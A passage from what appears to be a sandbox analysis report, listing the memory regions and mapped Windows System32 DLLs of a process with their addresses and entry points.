"c:\\windows\\system32\\netsetupapi.dll") Region: id = 1371 start_va = 0x7ffb12760000 end_va = 0x7ffb127d8fff monitored = 0 entry_point = 0x7ffb127676a0 region_type = mapped_file name = "netsetupshim.dll" filename = "\\Windows\\System32\\NetSetupShim.dll" (normalized: "c:\\windows\\system32\\netsetupshim.dll") Region: id = 1372 start_va = 0x7ffb127f0000 end_va = 0x7ffb12807fff monitored = 0 entry_point = 0x7ffb127f4e10 region_type = mapped_file name = "adhsvc.dll" filename = "\\Windows\\System32\\adhsvc.dll" (normalized: "c:\\windows\\system32\\adhsvc.dll") Region: id = 1373 start_va = 0x7ffb12810000 end_va = 0x7ffb12834fff monitored = 0 entry_point = 0x7ffb12815ca0 region_type = mapped_file name = "httpprxm.dll" filename = "\\Windows\\System32\\httpprxm.dll" (normalized: "c:\\windows\\system32\\httpprxm.dll") Region: id = 1374 start_va = 0x7ffb12850000 end_va = 0x7ffb12890fff monitored = 0 entry_point = 0x7ffb12853750 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 1375 start_va = 0x7ffb128a0000 end_va = 0x7ffb12992fff monitored = 0 entry_point = 0x7ffb128c5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 1376 start_va = 0x7ffb12a60000 end_va = 0x7ffb12a77fff monitored = 0 entry_point = 0x7ffb12a62000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1377 start_va = 0x7ffb12a80000 end_va = 0x7ffb12c01fff monitored = 0 entry_point = 0x7ffb12a982a0 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1378 start_va = 0x7ffb12c10000 end_va = 0x7ffb12cb2fff monitored = 0 entry_point = 0x7ffb12c12c10 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 1379 start_va = 0x7ffb12cc0000 end_va = 0x7ffb12d11fff monitored = 0 entry_point = 0x7ffb12cc5770 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 1380 start_va = 0x7ffb12d40000 end_va = 0x7ffb12d6dfff monitored = 1 entry_point = 0x7ffb12d42300 region_type = mapped_file name = "wmidcom.dll" filename = "\\Windows\\System32\\wmidcom.dll" (normalized: "c:\\windows\\system32\\wmidcom.dll") Region: id = 1381 start_va = 0x7ffb12d70000 end_va = 0x7ffb12dcdfff monitored = 0 entry_point = 0x7ffb12d75080 region_type = mapped_file name = "miutils.dll" filename = "\\Windows\\System32\\miutils.dll" (normalized: "c:\\windows\\system32\\miutils.dll") Region: id = 1382 start_va = 0x7ffb12dd0000 end_va = 0x7ffb12deffff monitored = 0 entry_point = 0x7ffb12dd1f50 region_type = mapped_file name = "mi.dll" filename = "\\Windows\\System32\\mi.dll" (normalized: "c:\\windows\\system32\\mi.dll") Region: id = 1383 start_va = 0x7ffb12df0000 end_va = 0x7ffb12df8fff monitored = 0 entry_point = 0x7ffb12df18f0 region_type = mapped_file name = "sscoreext.dll" filename = "\\Windows\\System32\\sscoreext.dll" (normalized: "c:\\windows\\system32\\sscoreext.dll") Region: id = 1384 start_va = 0x7ffb12e00000 end_va = 0x7ffb12e10fff monitored = 0 entry_point = 0x7ffb12e01d30 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 1385 start_va = 0x7ffb12f30000 end_va = 0x7ffb12faefff monitored = 0 entry_point = 0x7ffb12f47110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1386 start_va = 0x7ffb12fb0000 end_va = 0x7ffb12febfff monitored = 0 entry_point = 0x7ffb12fb6aa0 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 1387 start_va = 0x7ffb13040000 end_va = 0x7ffb1308bfff monitored = 0 entry_point = 0x7ffb13055310 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 1388 start_va = 0x7ffb13090000 end_va = 0x7ffb1309bfff monitored = 0 entry_point = 0x7ffb130935c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1389 start_va = 0x7ffb14500000 end_va = 0x7ffb14534fff monitored = 0 entry_point = 0x7ffb1450a270 region_type = mapped_file name = "fwpolicyiomgr.dll" filename = "\\Windows\\System32\\fwpolicyiomgr.dll" (normalized: "c:\\windows\\system32\\fwpolicyiomgr.dll") Region: id = 1390 start_va = 0x7ffb16be0000 end_va = 0x7ffb16beffff monitored = 0 entry_point = 0x7ffb16be1690 region_type = mapped_file name = "wups.dll" filename = "\\Windows\\System32\\wups.dll" (normalized: "c:\\windows\\system32\\wups.dll") Region: id = 1391 start_va = 0x7ffb16bf0000 end_va = 0x7ffb16e69fff monitored = 0 entry_point = 0x7ffb16c0a7a0 region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll") Region: id = 1392 start_va = 0x7ffb19500000 end_va = 0x7ffb19521fff monitored = 0 entry_point = 0x7ffb19512540 region_type = mapped_file name = "updatepolicy.dll" filename = "\\Windows\\System32\\updatepolicy.dll" (normalized: "c:\\windows\\system32\\updatepolicy.dll") Region: id = 1393 start_va = 0x7ffb19530000 end_va = 0x7ffb19604fff monitored = 0 entry_point = 0x7ffb1954cf80 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 1394 start_va = 0x7ffb196d0000 end_va = 0x7ffb1970ffff monitored = 0 entry_point = 0x7ffb196e6c60 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1395 start_va = 0x7ffb1a000000 end_va = 0x7ffb1a009fff monitored = 0 entry_point = 0x7ffb1a001350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1396 start_va = 0x7ffb1a350000 end_va = 0x7ffb1a358fff monitored = 0 entry_point = 0x7ffb1a3521d0 region_type = mapped_file name = "httpprxc.dll" filename = "\\Windows\\System32\\httpprxc.dll" (normalized: "c:\\windows\\system32\\httpprxc.dll") Region: id = 1397 start_va = 0x7ffb1a510000 end_va = 0x7ffb1a521fff monitored = 0 entry_point = 0x7ffb1a513580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 1398 start_va = 0x7ffb1a590000 end_va = 0x7ffb1a5a3fff monitored = 0 entry_point = 0x7ffb1a593710 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\System32\\mskeyprotect.dll" (normalized: "c:\\windows\\system32\\mskeyprotect.dll") Region: id = 1399 start_va = 0x7ffb1a5b0000 end_va = 0x7ffb1a5d7fff monitored = 0 entry_point = 0x7ffb1a5befc0 region_type = mapped_file name = "dssenh.dll" filename = "\\Windows\\System32\\dssenh.dll" (normalized: "c:\\windows\\system32\\dssenh.dll") Region: id = 1400 start_va = 0x7ffb1a640000 end_va = 0x7ffb1a65dfff monitored = 0 entry_point = 0x7ffb1a64ef80 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll") Region: id = 1401 start_va = 0x7ffb1a9b0000 end_va = 0x7ffb1aa2ffff monitored = 0 entry_point = 0x7ffb1a9dd280 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1402 start_va = 0x7ffb1aa70000 end_va = 0x7ffb1aa85fff monitored = 0 entry_point = 0x7ffb1aa71d50 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 1403 start_va = 0x7ffb1c710000 end_va = 0x7ffb1c719fff monitored = 0 entry_point = 0x7ffb1c7114c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1404 start_va = 0x7ffb1cb20000 end_va = 0x7ffb1cb34fff monitored = 0 entry_point = 0x7ffb1cb22dc0 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 1405 start_va = 0x7ffb1d1d0000 end_va = 0x7ffb1d1dffff monitored = 0 entry_point = 0x7ffb1d1d1700 region_type = mapped_file name = "proximityservicepal.dll" filename = "\\Windows\\System32\\ProximityServicePal.dll" (normalized: "c:\\windows\\system32\\proximityservicepal.dll") Region: id = 1406 start_va = 0x7ffb1d1e0000 end_va = 0x7ffb1d1e8fff monitored = 0 entry_point = 0x7ffb1d1e1ed0 region_type = mapped_file name = "proximitycommonpal.dll" filename = "\\Windows\\System32\\ProximityCommonPal.dll" (normalized: "c:\\windows\\system32\\proximitycommonpal.dll") Region: id = 1407 start_va = 0x7ffb1d1f0000 end_va = 0x7ffb1d21cfff monitored = 0 entry_point = 0x7ffb1d1f2290 region_type = mapped_file name = "proximitycommon.dll" filename = "\\Windows\\System32\\ProximityCommon.dll" (normalized: "c:\\windows\\system32\\proximitycommon.dll") Region: id = 1408 start_va = 0x7ffb1d220000 end_va = 0x7ffb1d271fff monitored = 0 entry_point = 0x7ffb1d2238e0 region_type = mapped_file name = "proximityservice.dll" filename = "\\Windows\\System32\\ProximityService.dll" (normalized: "c:\\windows\\system32\\proximityservice.dll") Region: id = 1409 start_va = 0x7ffb1d700000 end_va = 0x7ffb1d70dfff monitored = 0 entry_point = 0x7ffb1d701460 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1410 start_va = 0x7ffb1d8c0000 end_va = 0x7ffb1d959fff monitored = 0 entry_point = 0x7ffb1d8dada0 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 1411 start_va = 0x7ffb1d960000 end_va = 0x7ffb1d974fff monitored = 0 entry_point = 0x7ffb1d963460 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 1412 start_va = 0x7ffb1da70000 end_va = 0x7ffb1dab0fff monitored = 0 entry_point = 0x7ffb1da74840 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 1413 start_va = 0x7ffb1dac0000 end_va = 0x7ffb1db26fff monitored = 0 entry_point = 0x7ffb1dac63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1414 start_va = 0x7ffb1dc60000 end_va = 0x7ffb1dd1ffff monitored = 0 entry_point = 0x7ffb1dc8fd20 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 1415 start_va = 0x7ffb1dd20000 end_va = 0x7ffb1dd39fff monitored = 0 entry_point = 0x7ffb1dd22430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1416 start_va = 0x7ffb1dd40000 end_va = 0x7ffb1dd55fff monitored = 0 entry_point = 0x7ffb1dd419f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1417 start_va = 0x7ffb1dd60000 end_va = 0x7ffb1dd97fff monitored = 0 entry_point = 0x7ffb1dd78cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1418 start_va = 0x7ffb1dda0000 end_va = 0x7ffb1ddaafff monitored = 0 entry_point = 0x7ffb1dda1d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1419 start_va = 0x7ffb1ddb0000 end_va = 0x7ffb1de95fff monitored = 0 entry_point = 0x7ffb1ddccf10 region_type = mapped_file name = "usermgr.dll" filename = "\\Windows\\System32\\usermgr.dll" (normalized: "c:\\windows\\system32\\usermgr.dll") Region: id = 1420 start_va = 0x7ffb1dff0000 end_va = 0x7ffb1e01dfff monitored = 0 entry_point = 0x7ffb1dff7550 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 1421 start_va = 0x7ffb1e020000 end_va = 0x7ffb1e02cfff monitored = 0 entry_point = 0x7ffb1e022ca0 region_type = mapped_file name = "csystemeventsbrokerclient.dll" filename = "\\Windows\\System32\\CSystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\csystemeventsbrokerclient.dll") Region: id = 1422 start_va = 0x7ffb1e030000 end_va = 0x7ffb1e05efff monitored = 0 entry_point = 0x7ffb1e038910 region_type = mapped_file name = "wptaskscheduler.dll" filename = "\\Windows\\System32\\WPTaskScheduler.dll" (normalized: "c:\\windows\\system32\\wptaskscheduler.dll") Region: id = 1423 start_va = 0x7ffb1e070000 end_va = 0x7ffb1e085fff monitored = 0 entry_point = 0x7ffb1e071b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1424 start_va = 0x7ffb1e130000 end_va = 0x7ffb1e13ffff monitored = 0 entry_point = 0x7ffb1e132c60 region_type = mapped_file name = "usermgrcli.dll" filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll") Region: id = 1425 start_va = 0x7ffb1e140000 end_va = 0x7ffb1e153fff monitored = 0 entry_point = 0x7ffb1e142d50 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1426 start_va = 0x7ffb1e440000 end_va = 0x7ffb1e4d2fff monitored = 0 entry_point = 0x7ffb1e449680 region_type = mapped_file name = "msvcp_win.dll" filename = "\\Windows\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll") Region: id = 1427 start_va = 0x7ffb1e5f0000 end_va = 0x7ffb1e608fff monitored = 0 entry_point = 0x7ffb1e5f4520 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1428 start_va = 0x7ffb1e6c0000 end_va = 0x7ffb1e6defff monitored = 0 entry_point = 0x7ffb1e6c4960 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 1429 start_va = 0x7ffb1e820000 end_va = 0x7ffb1e88dfff monitored = 0 entry_point = 0x7ffb1e827f60 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 1430 start_va = 0x7ffb1e890000 end_va = 0x7ffb1e8a0fff monitored = 0 entry_point = 0x7ffb1e893320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 1431 start_va = 0x7ffb1e8b0000 end_va = 0x7ffb1e8f0fff monitored = 0 entry_point = 0x7ffb1e8c7eb0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 1432 start_va = 0x7ffb1e900000 end_va = 0x7ffb1e9fbfff monitored = 0 entry_point = 0x7ffb1e936df0 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 1433 start_va = 0x7ffb1ea00000 end_va = 0x7ffb1eaadfff monitored = 0 entry_point = 0x7ffb1ea180c0 region_type = mapped_file name = "windows.networking.connectivity.dll" filename = "\\Windows\\System32\\Windows.Networking.Connectivity.dll" (normalized: "c:\\windows\\system32\\windows.networking.connectivity.dll") Region: id = 1434 start_va = 0x7ffb1eab0000 end_va = 0x7ffb1eac1fff monitored = 0 entry_point = 0x7ffb1eab9260 region_type = mapped_file name = "rilproxy.dll" filename = "\\Windows\\System32\\rilproxy.dll" (normalized: "c:\\windows\\system32\\rilproxy.dll") Region: id = 1435 start_va = 0x7ffb1ead0000 end_va = 0x7ffb1eb80fff monitored = 0 entry_point = 0x7ffb1eb488b0 region_type = mapped_file name = "cellularapi.dll" filename = "\\Windows\\System32\\CellularAPI.dll" (normalized: "c:\\windows\\system32\\cellularapi.dll") Region: id = 1436 start_va = 0x7ffb1eb90000 end_va = 0x7ffb1ebb4fff monitored = 0 entry_point = 0x7ffb1eba2f20 region_type = mapped_file name = "wificonnapi.dll" filename = "\\Windows\\System32\\wificonnapi.dll" (normalized: "c:\\windows\\system32\\wificonnapi.dll") Region: id = 1437 start_va = 0x7ffb1ebc0000 end_va = 0x7ffb1ebd0fff monitored = 0 entry_point = 0x7ffb1ebc7ea0 region_type = mapped_file name = "dcpapi.dll" filename = "\\Windows\\System32\\dcpapi.dll" (normalized: "c:\\windows\\system32\\dcpapi.dll") Region: id = 1438 start_va = 0x7ffb1ebe0000 end_va = 0x7ffb1ebf9fff monitored = 0 entry_point = 0x7ffb1ebe2cf0 region_type = mapped_file name = "locationpelegacywinlocation.dll" filename = "\\Windows\\System32\\LocationPeLegacyWinLocation.dll" (normalized: "c:\\windows\\system32\\locationpelegacywinlocation.dll") Region: id = 1439 start_va = 0x7ffb1ec00000 end_va = 0x7ffb1ec0bfff monitored = 0 entry_point = 0x7ffb1ec014d0 region_type = mapped_file name = "locationframeworkps.dll" filename = "\\Windows\\System32\\LocationFrameworkPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkps.dll") Region: id = 1440 start_va = 0x7ffb1ec10000 end_va = 0x7ffb1ec64fff monitored = 0 entry_point = 0x7ffb1ec13fb0 region_type = mapped_file name = "policymanager.dll" filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 1441 start_va = 0x7ffb1ec70000 end_va = 0x7ffb1eca6fff monitored = 0 entry_point = 0x7ffb1ec76020 region_type = mapped_file name = "gnssadapter.dll" filename = "\\Windows\\System32\\GnssAdapter.dll" (normalized: "c:\\windows\\system32\\gnssadapter.dll") Region: id = 1442 start_va = 0x7ffb1ecb0000 end_va = 0x7ffb1eccffff monitored = 0 entry_point = 0x7ffb1ecb39a0 region_type = mapped_file name = "locationwinpalmisc.dll" filename = "\\Windows\\System32\\LocationWinPalMisc.dll" (normalized: "c:\\windows\\system32\\locationwinpalmisc.dll") Region: id = 1443 start_va = 0x7ffb1f310000 end_va = 0x7ffb1f691fff monitored = 0 entry_point = 0x7ffb1f361220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1444 start_va = 0x7ffb1f6a0000 end_va = 0x7ffb1f7d5fff monitored = 0 entry_point = 0x7ffb1f6cf350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 1445 start_va = 0x7ffb208d0000 end_va = 0x7ffb209ddfff monitored = 0 entry_point = 0x7ffb2091eaa0 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll") Region: id = 1446 start_va = 0x7ffb20f80000 end_va = 0x7ffb2103efff monitored = 0 entry_point = 0x7ffb20fa1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1447 start_va = 0x7ffb21040000 end_va = 0x7ffb21107fff monitored = 0 entry_point = 0x7ffb210813f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1448 start_va = 0x7ffb21110000 end_va = 0x7ffb21170fff monitored = 0 entry_point = 0x7ffb21114b50 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 1449 start_va = 0x7ffb21180000 end_va = 0x7ffb212fbfff monitored = 0 entry_point = 0x7ffb211d1650 region_type = mapped_file name = "locationframework.dll" filename = "\\Windows\\System32\\LocationFramework.dll" (normalized: "c:\\windows\\system32\\locationframework.dll") Region: id = 1450 start_va = 0x7ffb21300000 end_va = 0x7ffb2130afff monitored = 0 entry_point = 0x7ffb21301770 region_type = mapped_file name = "lfsvc.dll" filename = "\\Windows\\System32\\lfsvc.dll" (normalized: "c:\\windows\\system32\\lfsvc.dll") Region: id = 1451 start_va = 0x7ffb21310000 end_va = 0x7ffb21326fff monitored = 0 entry_point = 0x7ffb21315630 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 1452 start_va = 0x7ffb21330000 end_va = 0x7ffb2136dfff monitored = 0 entry_point = 0x7ffb2133a050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1453 start_va = 0x7ffb21370000 end_va = 0x7ffb21396fff monitored = 0 entry_point = 0x7ffb21373bf0 region_type = mapped_file name = "profsvcext.dll" filename = "\\Windows\\System32\\profsvcext.dll" (normalized: "c:\\windows\\system32\\profsvcext.dll") Region: id = 1454 start_va = 0x7ffb213a0000 end_va = 0x7ffb213f4fff monitored = 0 entry_point = 0x7ffb213afc00 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 1455 start_va = 0x7ffb21400000 end_va = 0x7ffb21412fff monitored = 0 entry_point = 0x7ffb214057f0 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 1456 start_va = 0x7ffb21420000 end_va = 0x7ffb2142bfff monitored = 0 entry_point = 0x7ffb21422830 region_type = mapped_file name = "bi.dll" filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll") Region: id = 1457 start_va = 0x7ffb21430000 end_va = 0x7ffb21439fff monitored = 0 entry_point = 0x7ffb21431660 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1458 start_va = 0x7ffb21440000 end_va = 0x7ffb21457fff monitored = 0 entry_point = 0x7ffb21445910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1459 start_va = 0x7ffb21460000 end_va = 0x7ffb215acfff monitored = 0 entry_point = 0x7ffb214a3da0 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 1460 start_va = 0x7ffb21640000 end_va = 0x7ffb216d1fff monitored = 0 entry_point = 0x7ffb2168a780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 1461 start_va = 0x7ffb21760000 end_va = 0x7ffb217d9fff monitored = 0 entry_point = 0x7ffb21787630 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1462 start_va = 0x7ffb217e0000 end_va = 0x7ffb217eafff monitored = 0 entry_point = 0x7ffb217e1de0 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 1463 start_va = 0x7ffb218f0000 end_va = 0x7ffb21953fff monitored = 0 entry_point = 0x7ffb21905ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1464 start_va = 0x7ffb21b50000 end_va = 0x7ffb21b85fff monitored = 0 entry_point = 0x7ffb21b60070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1465 start_va = 0x7ffb22640000 end_va = 0x7ffb22647fff monitored = 0 entry_point = 0x7ffb226413e0 region_type = mapped_file name = "dabapi.dll" filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll") Region: id = 1466 start_va = 0x7ffb22ee0000 end_va = 0x7ffb22f58fff monitored = 0 entry_point = 0x7ffb22effb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 1467 start_va = 0x7ffb23110000 end_va = 0x7ffb235a2fff monitored = 0 entry_point = 0x7ffb2311f760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 1468 start_va = 0x7ffb235b0000 end_va = 0x7ffb23616fff monitored = 0 entry_point = 0x7ffb235ce710 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll") Region: id = 1469 start_va = 0x7ffb23670000 end_va = 0x7ffb237f5fff monitored = 0 entry_point = 0x7ffb236bd700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1470 start_va = 0x7ffb23800000 end_va = 0x7ffb2381bfff monitored = 0 entry_point = 0x7ffb238037a0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1471 start_va = 0x7ffb23860000 end_va = 0x7ffb23872fff monitored = 0 entry_point = 0x7ffb23862760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1472 start_va = 0x7ffb239d0000 end_va = 0x7ffb23a0ffff monitored = 0 entry_point = 0x7ffb239e1960 region_type = mapped_file name = "brokerlib.dll" filename = "\\Windows\\System32\\BrokerLib.dll" (normalized: "c:\\windows\\system32\\brokerlib.dll") Region: id = 1473 start_va = 0x7ffb23b60000 end_va = 0x7ffb23b86fff monitored = 0 entry_point = 0x7ffb23b67940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1474 start_va = 0x7ffb23b90000 end_va = 0x7ffb23c39fff monitored = 0 entry_point = 0x7ffb23bb7910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1475 start_va = 0x7ffb23c40000 end_va = 0x7ffb23d3ffff monitored = 0 entry_point = 0x7ffb23c80f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 1476 start_va = 0x7ffb23dd0000 end_va = 0x7ffb23ddbfff monitored = 0 entry_point = 0x7ffb23dd2480 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 1477 start_va = 0x7ffb23ea0000 end_va = 0x7ffb23ed1fff monitored = 0 entry_point = 0x7ffb23eb2340 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 1478 start_va = 0x7ffb24110000 end_va = 0x7ffb2411bfff monitored = 0 entry_point = 0x7ffb24112790 region_type = mapped_file name 